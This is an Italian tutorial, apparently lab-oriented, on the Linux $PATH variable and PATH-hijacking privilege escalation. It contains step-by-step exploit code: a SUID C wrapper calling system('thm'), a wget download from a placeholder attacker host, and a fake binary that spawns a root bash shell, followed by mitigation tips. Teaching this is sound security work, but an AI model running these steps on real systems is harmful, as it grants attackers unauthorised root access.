Guida Approfondita: Variabile d'Ambiente $PATH in Linux e Tecniche di Privilege Escalation
La variabile d'ambiente $PATH è una delle più importanti in un sistema operativo Linux. Essa definisce un elenco di directory in cui la shell cerca i comandi eseguibili. Quando un utente digita un com
Guida Approfondita: Variabile d'Ambiente $PATH in Linux e Tecniche di Privilege Escalation
Cos'è la variabile $PATH
La variabile d'ambiente $PATH è una delle più importanti in un sistema operativo Linux. Essa definisce un elenco di directory in cui la shell cerca i comandi eseguibili. Quando un utente digita un comando (es. ls, cat, python) senza fornire il percorso assoluto, il sistema operativo cerca l'eseguibile in ciascuna delle directory specificate in $PATH, in ordine.
Esempio tipico di $PATH:
/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/sbinIn questo esempio, il sistema controllerà prima in /usr/local/bin, poi in /usr/bin, e così via.
Perché è importante in ottica di sicurezza?
Una configurazione errata o una directory scrivibile da utenti non privilegiati all'interno del $PATH può rappresentare una grave vulnerabilità. Un attaccante potrebbe sfruttare questa configurazione per:
- Inserire binari o script malevoli che vengano eseguiti con privilegi più alti.
- Sostituire programmi legittimi con versioni trojanizzate.
- Eseguire comandi con privilegi elevati, sfruttando binari SUID o script automatizzati.
Identificazione di directory vulnerabili
Il primo passo consiste nell'identificare directory scrivibili presenti nel $PATH:
Comando per trovare directory scrivibili:
find / -type d -writable 2>/dev/null | sort -uVerifica delle directory nel $PATH:
echo $PATHControlla se una delle directory è scrivibile.
Tecnica di Privilege Escalation usando $PATH
1. Creazione del file sorgente malevolo
#include <unistd.h>
#include <stdlib.h>
int main() {
setuid(0);
setgid(0);
system("thm");
return 0;
}
Salva questo file come path_exp.c.
2. Compilazione del binario:
gcc path_exp.c -o path -w3. Trasferimento sulla macchina target:
L'attaccante può avviare un web server sulla propria macchina e usare wget o curl per scaricarlo:
python3 -m http.server 80Sulla macchina target:
wget http://attacker_ip/path4. Creazione dello script thm
All'interno di una directory scrivibile presente in $PATH (es. /tmp):
echo "/bin/bash" > /tmp/thm
chmod +x /tmp/thm5. Modifica temporanea della variabile PATH
export PATH=/tmp:$PATH6. Esecuzione del binario
./pathSe il binario path è SUID root, allora lo script thm verrà eseguito come root, aprendo una shell con privilegi elevati.
Riepilogo dei comandi principali
echo $PATH
find / -type d -writable 2>/dev/null
export PATH=/tmp:$PATH
echo "/bin/bash" > /tmp/thm
chmod +x /tmp/thm
./pathPrevenzione e mitigazione
- Non includere directory scrivibili da utenti non privilegiati nel $PATH.
- Monitorare e validare l'integrità dei binari eseguibili.
- Applicare policy di sicurezza su script automatizzati e cron job.
- Rimuovere il bit SUID da binari non necessari.
Conclusione
Manipolare la variabile $PATH può essere estremamente potente nelle mani di un attaccante, specialmente in scenari di privilege escalation post-exploitation. Conoscere questa tecnica, sapere come identificarla e come prevenirla è fondamentale per ogni pentester e system administrator attento alla sicurezza dei propri sistemi Linux.